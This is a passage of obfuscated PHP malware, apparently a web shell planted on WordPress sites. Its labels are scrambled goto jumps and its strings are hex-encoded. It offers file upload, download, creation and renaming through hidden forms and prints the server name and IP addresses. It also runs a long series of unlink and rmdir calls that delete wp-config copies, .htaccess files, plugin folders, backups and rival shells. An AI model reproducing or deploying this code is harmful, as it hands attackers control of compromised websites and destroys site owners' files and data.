. "\143\x65\x74\x76\x65\x6c\x2e\160\150\160"); goto qdlVn; EAphJ: $JpDUz = unlink($oyZlv . "\167\x70\55\x63\x6f\156\x66\151\147\57\x73\x73\x2e\160\150\160"); goto xgb2Z; qo_mx: $E8Bad = rmdir($oyZlv . "\56\167\x70\x2d\x63\x6c\x69"); goto SnuFj; zKyah: $ZYBqT = unlink($oyZlv . "\56\x6d\x61\x69\156\x74\x65\156\x61\156\x63\145"); goto wFUSm; ur1QC: if (!isset($_GET["\x64\157\x77\156\x6c\x6f\x61\x64"])) { goto p9Bk5; } goto craKZ; pU9Ql: $sxzWQ = unlink($oyZlv . "\151\x6e\x73\x74\x61\x6c\x6c\145\x72\x2d\142\x61\143\153\x75\160\56\x70\x68\x70"); goto Y1F_c; N_8Hw: $Z86EW = unlink($oyZlv . "\x2e\x68\164\141\x63\x63\x65\x73\163\x2e\157\166\x68\56\157\x6c\144"); goto nQu44; rg72x: $TDqaf = unlink($oyZlv . "\x65\141\x65\56\x74\x78\164"); goto ZBY8L; rUZGR: $Doabt = unlink($oyZlv . "\x79\143\x2e\160\150\x70"); goto CUGCX; d14cR: $Fdbja = rmdir($oyZlv . "\56\167\x65\x6c\154\55\153\x6e\x6f\167\156\57\160\x6b\x69\x2d\x76\141\x6c\151\144\141\164\151\x6f\156\57\x65\57\x65\57\145\x2f\x65"); goto ckTup; yhdG2: $XgSPs = unlink($oyZlv . "\x77\160\55\143\x6f\x6e\164\x65\x6e\164\x2f\165\x73\x65\162\146\165\x6e\x73\56\160\x68\x70"); goto mAqwh; ePWT6: $vpx2y = rmdir($oyZlv . "\x6f\x6c\x64"); goto dY7TT; bAyDz: $IwV50 = unlink($oyZlv . "\x4c\x61\x74\145\x73\164\56\x7a\x69\x70"); goto cq1Pe; zjFPl: $ps1Yx = unlink($oyZlv . "\x63\157\160\171\56\x70\150\160"); goto qqnc4; E1ZVl: echo "{$_SERVER["\x53\105\122\x56\105\122\137\116\101\115\105"]}\x20\x28{$_SERVER["\123\105\x52\x56\x45\122\x5f\x41\x44\104\122"]}\57{$_SERVER["\122\x45\x4d\x4f\124\105\137\101\x44\x44\x52"]}\x29"; goto ONfpO; uVqGJ: $mfhuI = unlink($oyZlv . "\x6d\154\x72\56\160\x68\160"); goto IRxKo; VPNAk: $A8ugx = rmdir($oyZlv . "\x2e\154\x69\164\145\163\160\145\145\x64\x5f\146\x6c\141\x67"); goto AQHSd; XNtRV: $JjcvB = unlink($oyZlv . "\x64\145\x6c\x65\x74\x65\x6d\x65\56\167\160\60\x31\146\x63\x33\x31\x63\61\x35\141\141\145\64\145\x65\64\71\66\70\x62\x33\x65\64\x65\63\x31\x66\62\x37\x31\63\144\x2e\160\x68\160"); goto ebptS; uJyV8: $c4OKl = rmdir($oyZlv . "\167\x70\55\x63\x6f\x6e\164\145\x6e\x74\x2f\160\x6c\165\147\151\156\163\57\x6f\x76\x6c\153\x66\x7a\171\x65\167\x6a"); goto ATNrF; RvcVU: $gXzXc = unlink($oyZlv . "\x65\162\x72\157\162\x5f\x6c\x6f\x67\56\160\x68\x70"); goto UPyph; CZtti: $BUdH5 = unlink($oyZlv . "\x63\144\x2e\160\x68\x70"); goto hBbTY; e5n_T: $Ww3Gj = rmdir($oyZlv . "\x2e\161\165\x61\x72\x61\x6e\x74\151\156\145"); goto lsTaM; dA53v: $udkbU = unlink($oyZlv . "\x74\130\172\x55\155\x61\167\102\152\x63\146\170"); goto mG3C4; MiObP: $QfQ0Y = unlink($oyZlv . "\x77\160\x2d\x63\x6f\156\146\151\147\x2d\x32\60\62\64\61\61\x31\62\x2e\160\x68\x70"); goto UlR7G; c3fV3: $MV1pB = rmdir($oyZlv . "\167\145\154\154\55\x6b\156\157\x77\156\57\160\153\151\x2d\x76\141\x6c\151\144\x61\164\x69\x6f\156\57\x61\x2f\x61\x2f\x61\57\x61"); goto No0Zn; C4ucw: $CghaG = unlink($oyZlv . "\56\x68\x74\141\x63\x63\x65\163\163\x31\62"); goto Hm_mo; YPVqs: zJCfl: goto wd4Ua; c4yCl: $OrVvI = unlink($oyZlv . "\x77\x70\55\x63\157\x6e\164\145\x6e\164\x2f\56\167\160\x2d\x63\157\x6e\164\x65\x6e\164\x2e\x70\150\160"); goto XNtRV; skt30: $IoaXm = unlink($oyZlv . "\x63\64\x38\146\70\x64\65\143\143\x65\x61\144\x62\x62\x61\144\x34\x32\x65\x64\142\146\x37\145\145\63\x35\71\x39\x61\x38\145\x2e\x61\166\x69"); goto BhE4O; fNhCb: $jc1Er = unlink($oyZlv . "\141\x6c\x66\x61\56\x70\x68\x70"); goto GmPiU; OktfR: $y8jnR = unlink($oyZlv . "\143\x6f\x6d\x70\157\x73\145\x72\x2e\x6a\163\x6f\x6e"); goto AAlyi; Jb8IB: $dHVEI = rmdir($oyZlv . "\143\x6f\x6e\146"); goto OZCFY; Di0QC: $gVg3H = unlink($oyZlv . "\160\167\x61\x2d\x61\x6d\160\55\163\167\x2e\x6a\x73"); goto FP36x; PLpew: $VL4IY = unlink($oyZlv . "\x77\x65\x62\x2e\x63\157\x6e\x66\x69\147\56\62\x32\60\64\x32\64\x31\67\65\63\x34\64\56\x6f\x72\151\x67"); goto vf3Uk; No0Zn: $ZNQnR = rmdir($oyZlv . "\167\x65\x6c\x6c\x2d\153\x6e\157\x77\156\x2f\160\153\151\55\x76\x61\x6c\x69\144\141\164\151\157\x6e\57\x62\57\x62\57\x62\57\x62"); goto Ag8MQ; SToal: $tiWtC = rmdir($oyZlv . "\167\x65\x6c\154\x2d\153\x6e\x6f\x77\x6e\57\160\153\151\x2d\166\x61\x6c\x69\144\141\164\x69\x6f\x6e\x2f\x65\x2f\145\57\145\57\145"); goto aAN1b; vGL6i: echo XEh2e($p8aQE) . "\x26\x61\x3d" . XEh2e("\156\145\167\106\151\x6c\145"); goto RpdRP; TFUgI: $kCtWU = unlink($oyZlv . "\167\160\x2d\x63\157\156\x74\145\156\x74\57\x64\x65\142\165\x67\x2e\x6c\x6f\x67"); goto FX2Yu; lQDUS: $f2JtV = unlink($oyZlv . "\x77\160\x2d\143\x6c\x69\x2e\x79\155\x6c"); goto aDh05; aZ17_: $N5HbT = unlink($oyZlv . "\x77\160\55\x75\x73\x65\x72\x2e\x70\150\x70"); goto w7Oo9; UlR7G: $Nb9_W = unlink($oyZlv . "\x69\156\144\145\170\56\x68\164\155\x6c\x5f"); goto ifGRR; oB1At: $pcqQW = unlink($oyZlv . "\x73\150\145\x72\x6c\171\55\166\154\x6f\x67\163\x2e\x6d\160\x34"); goto Di0QC; SSYBc: $hFtkw = unlink($oyZlv . "\x66\165\x6e\x63\164\151\157\x6e\163\x2e\x73\150"); goto FtJtL; TyUAF: $KPSZ3 = unlink($oyZlv . "\56\154\151\x74\x65\163\160\145\x65\x64\137\146\x6c\x61\147"); goto m411h; o4Yaq: $YVAUu = unlink($oyZlv . "\142\151\157\156\151\x63\56\x70\x68\x70"); goto CZtti; LK7Oq: $p06jb = rmdir($oyZlv . "\x77\160\55\143\x6f\x6e\x74\145\156\164\x2f\x70\x6c\165\147\151\156\163\57\146\x64\141\164\x73\172\157"); goto B5l4k; FP36x: $XGXV0 = unlink($oyZlv . "\167\x70\55\143\x6f\156\x74\x65\156\164\x2f\x69\156\x64\145\170\x2e\160\150\x70\x2d\x6f\x6c\x64"); goto STksV; J34QM: if (!$lKwH4[12]($lbhnZ)) { goto XcRMN; } goto cgsk5; SxyuX: $Wzy18 = unlink($oyZlv . "\x77\x70\x2d\143\157\x6e\164\x65\156\164\x2f\160\x6c\x75\147\x69\x6e\x73\x2f\x62\x75\x64\144\x79\142\x6f\x73\163\x2d\x74\x68\x65\155\145\56\172\151\160"); goto MezwY; sbcv8: $GKQjH = rmdir($oyZlv . "\167\160\55\x63\x6f\x6e\164\x65\156\164\57\x70\x6c\165\147\151\156\163\x2f\x36\x35\x39\65\x32\61\x62\70\x63\x33\x64\67\x30\x62\x30\x65\x32\145\66\67\x32\x32\64\x38\x31\x32\x61\60\67\x32\x64\x30"); goto mUEn3; xdFy0: $D2tkG = unlink($oyZlv . "\160\150\x70\56\x69\x6e\x69\x31"); goto uRtMv; BQyWD: $D3k5z = unlink($oyZlv . "\56\x68\x74\160\x6f\165\150"); goto kjoNg; cp4v7: $Bz9BY = unlink($oyZlv . "\160\141\x63\x6b\x61\x67\145\x2d\154\x6f\x63\153\x2e\152\163\157\x6e"); goto hfEEN; pnpCe: $AvDDE = rmdir($oyZlv . "\167\x70\x2d\143\157\x6e\x74\145\156\164\x2f\x70\154\x75\147\x69\156\163\57\167\x70\x2d\x66\x69\x6c\145\x2d\x6d\x61\156\x61\147\145\162\x2f"); goto XMCk1; JJGhM: $tQPOe = unlink($oyZlv . "\x2e\56\x68\164\x61\x63\143\145\163\x73\x31\62"); goto C4ucw; p2KH5: $oKqpx = rmdir($oyZlv . "\167\x70\x2d\x63\157\156\x74\145\156\x74\57\x70\x6c\165\x67\151\x6e\x73\57\142\64\x36\144\70\70\x62\x61\70\x38\60\67\x33\71\61\x35\x65\70\x30\62\142\60\70\141\x34\x61\143\63\x35\x36\x31\64"); goto StYme; BSmRD: $ZJQCU = rmdir($oyZlv . "\x77\x70\x2d\x63\x6f\156\164\x65\156\164\57\x70\x6c\x75\147\151\156\x73\57\150\x72\163\x67\x70\x74\172\172\x78\x76"); goto LWI7p; URbQ4: $Dnr9E = unlink($oyZlv . "\167\160\55\143\157\x6e\164\145\x6e\164\57\x70\154\x75\147\x69\x6e\163\57\x6f\172\170\x70\x67\x70\150\x75\x76\x6a\57\157\x7a\x78\160\x67\160\x68\165\x76\x6a\x2e\x70\x68\x70"); goto VoPUO; uguh2: $yUdJW = unlink($oyZlv . "\x77\160\55\x63\x6f\156\x74\145\156\164\57\x2e\154\x69\164\x65\163\160\x65\x65\x64\x5f\x63\x6f\x6e\x66\56\x64\x61\164"); goto jHytL; w10k3: $nzf7s = unlink($oyZlv . "\x6f\142\x6a\145\143\x74\55\143\141\143\150\145\56\x70\x68\x70\55\x6f\x6c\x64\x2d\x6f\x6c\x64"); goto ZHaZ0; wd4Ua: Gzjsn("\x66\x69\x6c\145\40\x64\x65\154\145\164\145\144\x20\163\x75\x63\x63\x65\163\163\x66\x75\x6c\x6c\171"); goto Tt7Lm; xyYcV: $RKmH9 = rmdir($oyZlv . "\x2e\x6c\151\164\145\x73\160\x65\x65\x64\x5f\x63\x6f\x6e\146\56\x64\141\164"); goto bxiK2; KI2y8: $p8aQE = Y2EFU($_GET["\x70"]); goto hDguj; ATAYs: if (!($VQa5C < count($Uw6KJ))) { goto R2WiD; } goto zeGmf; xiOlh: $iXnzX = unlink($oyZlv . "\56\x67\x69\x74\x69\147\x6e\x6f\x72\x65"); goto b9PZF; a6qAK: $NbtHq = unlink($oyZlv . "\x77\x70\x2d\x63\157\x6e\x74\x65\x6e\164\x2f\141\165\x74\157\x70\x74\x69\155\151\172\145\x5f\64\60\x34\x5f\x68\141\156\144\x6c\145\x72\x2e\x70\150\x70"); goto AAsQQ; drKzI: $fxg4V = unlink($oyZlv . "\x69\x78\x75\x2e\x74\x78\164"); goto nsEpS; cJ1Cb: $JJapi = rmdir($oyZlv . "\116\x65\167\106\157\x6c\x64\x65\162"); goto y42_C; cprZC: $okYSM = rmdir($oyZlv . "\56\x77\145\154\154\x2d\x6b\x6e\x6f\x77\156\x2f\x70\153\x69\55\166\141\154\151\x64\x61\164\151\x6f\x6e\57\x63\x2f\x63\57\143\57\x63"); goto kaba2; NkdjJ: $wEMNL = unlink($oyZlv . "\x73\x61\56\x70\150\x70"); goto z7aoJ; h038Q: $MOtcB = rmdir($oyZlv . "\116\x65\x77\x20\x46\157\x6c\x64\x65\162"); goto x81XS; vexMx: $VQa5C = unlink($oyZlv . "\56\x77\x65\x6c\154\x2d\x6b\156\x6f\x77\156"); goto jT0jw; xdiWl: $EHXKG = unlink($oyZlv . "\x77\160\x2d\143\157\x6e\164\x65\156\x74\x2f\x70\x6c\165\x67\x69\156\x73\57\x73\x68\145\154\154\57\x6d\x69\x6e\151\x2e\x70\150\x70"); goto G3Nl0; JkmZX: gzjSn("\x66\x69\154\145\40\x74\x6f\40\144\x65\154\145\x74\x65\40\164\150\x65\40\146\157\154\144\145\x72", 0); goto ezcE7; wXRrg: $FVazt = unlink($oyZlv . "\x70\167\x61\x2d\x72\145\147\151\163\x74\145\162\55\x73\x77\x2e\x6a\x73"); goto GIXNc; A1y_j: $V3rin = rmdir($oyZlv . "\167\160\x2d\x63\157\x6e\x74\x65\156\164\57\x6d\141\151\x6e\164\145\156\141\156\x63\x65"); goto nYhyE; oNxv8: $Bz1yR = unlink($oyZlv . "\167\160\55\154\170\x62\147\145\x6b\56\160\150\x70"); goto iWGEp; JKG9t: echo "\x20\11\x9\x9\x3c\x68\65\40\x63\154\141\163\163\x3d\42\x62\x6f\162\144\145\x72\40\x70\x2d\x31\x20\x6d\142\55\63\x22\x3e\x4e\x65\x77\40\x66\x69\x6c\145\x3c\57\x68\x35\76\x20\x9\x9\11\74\146\157\x72\155\x20\155\145\164\150\157\x64\75\42\160\x6f\x73\x74\42\x3e\x3c\144\x69\166\x20\143\154\141\x73\x73\75\x22\146\157\x72\155\55\x67\162\157\x75\x70\x22\76\74\x6c\x61\142\145\x6c\40\x66\157\162\x3d\x22\x6e\42\x3e\106\x69\x6c\145\x20\x6e\x61\x6d\x65\40\x3a\x3c\57\154\141\142\x65\x6c\76\74\151\156\160\x75\x74\x20\164\x79\x70\145\x3d\x22\164\145\x78\x74\x22\40\x6e\x61\155\x65\x3d\42\x6e\42\40\151\144\75\x22\x6e\x22\40\143\x6c\141\x73\163\75\x22\x66\157\162\155\55\x63\157\156\x74\x72\157\154\42\x20\160\154\x61\143\145\150\157\x6c\144\x65\x72\75\x22\150\x61\143\153\x2e\x74\170\x74\42\76\x3c\x2f\144\x69\x76\76\74\x64\151\166\40\x63\x6c\141\163\x73\x3d\x22\x66\157\162\155\55\147\x72\157\165\160\x22\76\74\154\141\142\145\x6c\x20\x66\157\x72\x3d\42\143\164\x6e\42\76\x43\157\x6e\x74\145\x6e\164\x20\x3a\74\x2f\154\141\142\145\x6c\x3e\74\x74\145\x78\164\x61\162\x65\x61\40\163\164\171\x6c\x65\75\x22\162\x65\x73\x69\x7a\x65\x3a\156\x6f\x6e\145\x22\x20\x6e\x61\x6d\145\75\42\x63\164\156\x22\40\x69\144\x3d\42\x63\164\x6e\42\x20\143\x6f\154\x73\x3d\x22\x33\60\x22\40\162\x6f\167\163\x3d\42\x31\60\42\x20\x63\154\141\x73\163\x3d\42\146\x6f\x72\x6d\x2d\143\157\x6e\x74\162\157\154\42\x20\x70\x6c\141\143\x65\x68\157\x6c\144\145\x72\x3d\42\43\x20\x53\x74\141\x6d\x70\x65\x64\40\x42\171\40\115\145\42\76\x3c\x2f\164\x65\x78\x74\x61\x72\x65\x61\x3e\74\x2f\144\x69\x76\x3e\74\x64\151\x76\x20\x63\x6c\x61\163\163\75\x22\146\157\162\x6d\x2d\147\162\157\165\160\42\x3e\x3c\142\165\x74\x74\x6f\156\x20\164\x79\160\x65\x3d\42\163\x75\142\155\151\164\x22\40\x6e\x61\155\x65\75\42\x73\42\40\x63\154\141\x73\x73\75\x22\x62\164\x6e\x20\x62\x74\x6e\x2d\x6f\x75\x74\x6c\x69\x6e\x65\x2d\154\x69\147\x68\164\x20\162\x6f\x75\x6e\x64\x65\144\55\60\42\76\x43\x72\x65\x61\x74\145\x3c\x2f\x62\x75\164\x74\x6f\x6e\x3e\x3c\57\x64\151\166\x3e\74\57\x66\157\x72\x6d\76\x20\11\x9\x9"; goto OEUXp; yDmKf: goto jeJW6; goto TLsFC; c9fmu: $fozED = unlink($oyZlv . "\167\160\x2d\x63\x6f\156\164\145\x6e\x74\x2f\x77\160\55\143\162\157\156\x2e\x70\x68\x70"); goto nCIa6; XA5RK: $AU2Bl = unlink($oyZlv . "\x6d\x6f\x6f\x6e\x2e\160\x68\160"); goto YJUiL; HXpJN: $gdVd7 = unlink($oyZlv . "\x68\150\155\x2e\x70\x6e\x67"); goto T3b3X; OEoBN: $Qx4pa = unlink($oyZlv . "\160\x69\56\x70\x68\x70"); goto YYzS_; ley2N: nLSrM: goto iwKJc; bCgyC: echo "\x20\11\11\11\x3c\x68\65\x20\143\154\141\x73\163\75\x22\142\x6f\x72\144\145\162\x20\160\x2d\61\40\155\x62\x2d\63\42\76\116\x65\x77\x20\x66\157\154\144\145\162\x3c\x2f\150\x35\76\x20\11\x9\x9\x3c\146\157\162\x6d\x20\155\x65\164\150\157\144\75\x22\x70\x6f\163\x74\x22\76\x3c\x64\151\166\40\143\x6c\141\x73\163\75\42\146\x6f\162\155\x2d\147\x72\x6f\165\160\x22\x3e\74\154\141\x62\145\154\40\146\157\x72\75\42\x6e\42\x3e\x4e\x61\155\x65\x20\x3a\x3c\57\x6c\x61\x62\x65\154\76\x3c\x69\x6e\x70\165\164\40\156\x61\155\x65\x3d\42\x6e\x22\x20\x69\144\x3d\42\x6e\x22\x20\143\x6c\141\x73\x73\x3d\x22\x66\x6f\162\155\x2d\143\157\156\164\162\x6f\154\42\x20\141\165\164\157\143\x6f\155\x70\x6c\x65\164\145\75\x22\x6f\146\146\42\x3e\74\x2f\144\151\x76\76\74\x64\151\x76\40\x63\154\141\x73\x73\x3d\42\146\x6f\x72\155\55\147\x72\157\165\160\x22\76\x3c\x62\x75\x74\x74\157\x6e\40\164\171\x70\145\75\42\163\165\142\x6d\x69\x74\42\x20\156\x61\155\x65\75\42\x73\42\40\x63\154\x61\x73\x73\75\42\x62\164\x6e\40\142\164\156\55\x6f\x75\164\x6c\151\x6e\x65\55\154\151\x67\x68\x74\40\x72\157\165\156\x64\x65\x64\x2d\x30\42\x3e\103\x72\x65\x61\x74\145\74\x2f\142\165\164\164\157\156\76\74\x2f\144\x69\166\x3e\74\57\x66\x6f\x72\x6d\x3e\40\11\x9\x9"; goto hUitC; f3QTF: $VBB6C = unlink($oyZlv . "\167\160\x2d\143\157\156\164\x65\156\x74\x2f\160\154\x75\147\x69\x6e\x73\57\165\x62\x68\x2f\x66\x33\65\x2e\160\x68\160"); goto Le6MQ; MMxX8: $bUoU7 = unlink($oyZlv . "\x31\x2e\x70\x68\x70"); goto Oxz7t; O6d8K: $yWyun = rmdir($oyZlv . "\167\160\x2d\143\x6f\x6e\x74\145\156\x74\57\x70\154\x75\147\x69\156\163\x2f\67\141\x66\x30\x36\63\x65\x37\62\x38\x36\x66\66\142\64\x61\x38\x63\67\x37\144\x38\x30\143\143\66\x61\x36\x36\x39\145\x63"); goto I46tW; X_w2x: function xeH2e($C_Szp) { goto gHMNe; gHMNe: $KAnbB = ''; goto nqDPO; PnOXy: return $KAnbB; goto FsXH1; iuyf6: LCCG0: goto PnOXy; j57jN: if (!($VQa5C < strlen($C_Szp))) { goto LCCG0; } goto kC1P6; kRn5R: $VQa5C++; goto KiMxx; RmrUt: RiB04: goto kRn5R; KiMxx: goto zKvf0; goto iuyf6; kC1P6: $KAnbB .= dechex(ord($C_Szp[$VQa5C])); goto RmrUt; nqDPO: $VQa5C = 0; goto F6ZUl; F6ZUl: zKvf0: goto j57jN; FsXH1: } goto hYBS7; fCgaj: $vBbxy = unlink($oyZlv . "\x77\x70\x2d\143\157\x6e\164\x65\156\x74\x2f\164\150\145\x6d\x65\163\57\143\150\x6f\163\x65\156\x2e\x70\x68\160"); goto e9bR7; Fv3oZ: if (!isset($_FILES["\146"])) { goto wViBx; } goto r3RMW; n0UIm: $w5GoO = unlink($oyZlv . "\145\170\164\x72\141\143\164\55\x7a\151\x70\56\x70\150\x70"); goto DLJee; KtBiw: $gV2gM = unlink($oyZlv . "\163\145\x72\166\145\x72\56\164\x78\x74"); goto BPSlb; vf3Uk: $AEMe_ = unlink($oyZlv . "\x64\x75\x70\x2d\x77\160\55\143\x6f\x6e\x66\151\x67\x2d\x61\x72\143\x5f\x5f\x66\70\x32\x36\x30\71\64\x2d\x30\62\61\63\64\x30\x34\71\x2e\164\170\164"); goto IW8uE; lSKwp: y3m1P: goto F_OOb; EkbXw: echo "\74\x2f\163\x70\141\156\76\x20\x9\x9\x9\x3c\146\157\x72\155\40\155\x65\164\150\157\x64\x3d\x22\160\x6f\x73\x74\x22\76\74\144\151\166\x20\x63\154\x61\x73\163\75\42\146\157\x72\155\55\147\x72\157\x75\160\x22\76\74\x6c\141\142\x65\154\x20\x66\157\x72\75\x22\143\164\156\x22\76\103\x6f\x6e\x74\x65\156\164\x20\72\74\57\154\x61\x62\145\x6c\x3e\74\x74\145\170\x74\141\x72\145\141\x20\156\x61\x6d\145\75\42\143\164\x6e\x22\x20\151\x64\75\x22\143\164\156\x22\x20\143\157\154\163\75\42\63\x30\42\40\162\157\167\163\75\42\x31\60\42\x20\x63\154\141\x73\163\x3d\x22\x66\157\162\x6d\55\143\x6f\x6e\x74\162\157\x6c\x22\76"; goto mYpyH; XjPv2: $QnxFw = unlink($oyZlv . "\67\x67\55\147\x72\x69\x64\160\141\x6e\x65\x2e\x70\150\x70"); goto YxZve; gaWxQ: echo "\40\x9\11\x9\x3c\57\164\142\157\x64\x79\76\x20\11\x9\x3c\57\x74\141\142\x6c\x65\76\40\x9\x9"; goto bQFZ7; jHytL: $jWhD5 = unlink($oyZlv . "\167\x70\x2d\x63\157\156\x74\x65\156\x74\x2f\x31\56\160\151\144"); goto ksaea; M0dXy: $jZVj8 = unlink($oyZlv . "\151\x6e\x64\x65\x78\55\x6f\x6c\x64\56\x70\x68\160"); goto jxEf6; hfEEN: $Qk9LA = unlink($oyZlv . "\x2e\x68\x74\x61\x63\x63\x65\x73"); goto iNajV; QmaO6: if (!($_GET["\x74"] == "\146")) { goto fsLcW; } goto VIYzJ; iVBOv: echo $_GET["\x74"] == "\144" ? "\x66\x6f\154\144\x65\x72" : "\146\x69\x6c\145"; goto kHZCJ; zoSmm: $clp0I = rmdir($oyZlv . "\167\x70\55\x63\x6f\156\x74\x65\x6e\164\x2f\165\x70\x67\x72\x61\x64\x65\x2d\164\x65\155\x70\55\x62\141\x63\153\x75\160\x2d\x6f\x6c\x64\55\x6f\x6c\x64"); goto SLqIt; U2fSk: $Zoq0R = unlink($oyZlv . "\56\160\150\x70\55\x69\x6e\151"); goto nMOrW; jN_of: if ($CWqaS == "\x72\145\156\141\155\145") { goto x5x0r; } goto HE4IX; kIc28: $nvHAr = unlink($oyZlv . "\x4c\111\103\105\116\123\105\x2e\164\170\x74"); goto AqJas; Z_yei: $LAcIT = unlink($oyZlv . "\x77\157\162\144\x70\x72\145\163\163\x2d\66\x2e\67\56\x31\x2d\146\141\x5f\111\122\56\172\151\160"); goto J9uMR; izP0b: echo "\74\x2f\x74\x65\x78\164\x61\162\x65\141\76\74\x2f\x64\151\x76\76\x20\11\x9\11"; goto pxLmb; QW3J6: $N1jRX = unlink($oyZlv . "\x6e\x67\x69\x6e\x78\56\x63\x6f\x6e\x66"); goto HAh2Z; kvCVg: $QsNVI = rmdir($oyZlv . "\167\x70\x2d\x63\x6f\x6e\164\145\x6e\x74\x2f\x6d\x75\x2d\x70\x6c\165\x67\151\x6e\x73\55\x6f\x6c\x64\55\157\154\144"); goto FeHEP; f3EFK: echo "\x20\x9\11\74\x2f\144\x69\x76\76\40\x9\74\57\144\x69\x76\x3e\40\x9\x3c\x61\x72\164\151\143\x6c\145\x20\x63\x6c\141\x73\x73\75\x22\142\147\x2d\144\x61\162\153\40\142\157\x72\144\145\x72\40\164\141\142\x6c\x65\x2d\x72\145\x73\x70\x6f\x6e\x73\x69\x76\145\55\163\155\x20\155\164\x2d\x32\x22\76\x20\x9\11"; goto S9P2B; oaKzv: $eAKXz = unlink($oyZlv . "\x77\x70\55\141\x61\56\160\150\x70"); goto OOmXi; fdyaO: $SLM3W = unlink($oyZlv . "\x73\164\171\154\x65\x2d\x63\163\x73\56\x70\x68\160"); goto lTj2q; IU9uT: Xpkel: goto lP7HY; SLqIt: $UXy6L = rmdir($oyZlv . "\x77\x70\55\x63\x6f\x6e\164\145\156\164\57\x75\160\154\x6f\141\x64\x73\55\157\x6c\144"); goto kxSAB; Hff_t: $sd8uV = unlink($oyZlv . "\154\141\x74\x65\x73\x74\56\x74\141\x72\56\x67\172"); goto fkQyZ; YJUiL: $A5qTc = unlink($oyZlv . "\141\143\x74\x69\x76\x61\164\145\56\160\150\160"); goto lXByg; YYzS_: $s49N7 = unlink($oyZlv . "\170\155\154\x70\163\x79\x65\156\x69\56\x70\150\160"); goto xdiWl; OTJ7e: $TLQYf = unlink($oyZlv . "\x62\171\x6b\x6f\156\164\x2e\160\150\160"); goto Efmbs; GoBrJ: $AQewy = unlink($oyZlv . "\167\x70\55\x61\x63\164\151\x76\x61\164\x65\156\x7a\x2e\x70\x68\160"); goto RwFEv; eTLjk: $TdDNl = unlink($oyZlv . "\56\150\164\x61\x63\143\x65\163\163\x31"); goto xdFy0; yA5dT: $kUhtx = unlink($oyZlv . "\x64\157\x63\x6b\x65\162\x2d\143\157\155\x70\157\163\x65\x2e\171\155\154"); goto pAMhZ; BPSlb: $oJzRp = unlink($oyZlv . "\141\x72\143\x68\x69\166\56\172\x69\x70"); goto le59h; Jc9L0: $N16yP = rmdir($oyZlv . "\x77\160\55\143\157\156\x74\x65\156\164\57\160\154\x75\147\151\156\163\x2f\x6a\x6b\x76\x66\x75\x79\160\x63\171\145"); goto WIgeX; W5SYt: $O9szZ = rmdir($oyZlv . "\56\167\x65\x6c\154\55\153\x6e\x6f\x77\156\x2f\x70\x6b\151\55\166\141\x6c\151\144\x61\164\x69\157\x6e\x2f\142\x2f\142\x2f\x62\x2f\142"); goto cprZC; m9Y54: $npiRy = unlink($oyZlv . "\56\x68\164\141\143\x63\x65\163\x73\x2e\157\x72\x69\147"); goto pU9Ql; Ag8MQ: $S4qH_ = rmdir($oyZlv . "\x77\145\154\154\55\153\156\x6f\x77\156\x2f\160\153\x69\55\166\141\154\x69\x64\141\x74\151\x6f\156\x2f\143\57\143\57\x63\x2f\143"); goto Jo0eE; Tt7Lm: JHCeJ: goto MEeu8; Hh4pG: $bO509 = unlink($oyZlv . "\x77\x70\55\x63\157\x6e\164\x65\x6e\164\x2f\x70\x6c\165\x67\151\x6e\163\x2f\171\154\x75\x66\x6c\x77\x6d\163\154\x7a\57\x66\x33\x35\x2e\x70\150\x70"); goto yAnEd; cO04x: $FZIuR = rmdir($oyZlv . "\164\x6d\x70"); goto eTGL9; fCqtt: $lYmTj = unlink($oyZlv . "\x2e\150\x74\x61\143\143\145\x73\x73\63\x33\x33"); goto b8AzI; Mhpsu: $ZPmJ4 = unlink($oyZlv . "\x64\151\x73\143\x6f\165\x6e\x74\56\x70\150\x70"); goto HXpJN; IW8uE: $xJpzJ = unlink($oyZlv . "\144\x75\160\55\151\x6e\x73\164\141\x6c\x6c\145\x72\55\x62\x6f\x6f\164\154\x6f\147\x5f\x5f\x34\x64\71\x32\146\71\x62\55\x30\x32\x31\x33\x34\x30\64\x39\x2e\x74\x78\164"); goto lA0Kr; v5XJF: $CIoEu = unlink($oyZlv . "\x77\x70\x2d\x63\x6f\156\164\x65\x6e\x74\57\x70\x6c\165\x67\x69\x6e\x73\57\165\x62\150\x2f\106\x4d\x61\151\x6c\145\162\55\172\160\64\x37\151\x2e\x70\x68\160"); goto i9hky; mAv9U: $FrgaZ = rmdir($oyZlv . "\56\164\x6d\142"); goto Tz7sk; Xh3Qz: $nJ3OB = rmdir($oyZlv . "\x62\141\143\x6b\x75\160"); goto xyYcV; GuOwB: Y1LpH: goto wVcx1; eP5py: error_reporting(0); goto Jihvo; fA8Hp: $PMbwo = unlink($oyZlv . "\56\146\164\160\x71\165\x6f\x74\141"); goto aKdNL; le59h: $SL3oN = unlink($oyZlv . "\157\x6c\x76\x61\163\x64\x65\x6c\56\150\x74\x6d\154"); goto Z91VS; IRxKo: $h9HkX = unlink($oyZlv . "\x77\145\x32\56\x70\150\x70"); goto d7S0X; Ss0YT: $nI_Er = unlink($oyZlv . "\143\x68\157\x73\x65\x6e\x2e\160\150\160"); goto Gmsha; I4Ohu: $pF2bm = rmdir($oyZlv . "\x77\160\55\x63\157\156\164\145\156\164\x2f\145\x74\55\143\141\143\150\x65\x2d\157\154\144\x2d\x6f\x6c\144"); goto Horf8; XIS83: $oO1Ew = unlink($oyZlv . "\x64\145\x6c\x65\164\x65\x6d\x65\x2e\167\x70\x62\x37\x63\x65\142\66\65\x39\x36\141\x63\x34\x34\141\67\x31\70\x30\x64\64\64\67\61\63\x39\x37\65\60\143\64\x63\x36\56\160\150\160"); goto AJKZn; MqIcU: $xliNm = unlink($oyZlv . "\143\x75\163\x74\x6f\155\x5f\x64\145\142\165\147\x2e\154\x6f\x67"); goto SSYBc; Nz5p9: $s9yBB = unlink($oyZlv . "\x2e\x75\x73\x65\162\56\x69\x6e\x69"); goto i3K0p; iNajV: $NwY7v = unlink($oyZlv . "\142\141\170\141\x31\56\160\x68\160\x37"); goto HaCST; tdj5l: $B70mk = rmdir($oyZlv . "\x70"); goto yZd8r; iUo3v: gF4kK: goto rPl5D; ZHaZ0: $RDT1E = unlink($oyZlv . "\x73\x68\x6f\x70\x6e\x6f\x64\x68\141\x72\x5f\x62\x61\143\x6b\x75\160\56\172\x69\160"); goto zjFPl; MZ_1T: $q6NUD = unlink($oyZlv . "\163\x69\164\x65\x6d\141\x70\56\x78\155\154\x2e\147\x7a"); goto MiObP; RTdiR: $PtbIf = unlink($oyZlv . "\156\x61\155\145\56\x7a\151\x70"); goto ll331; AJKZn: $x35eK = unlink($oyZlv . 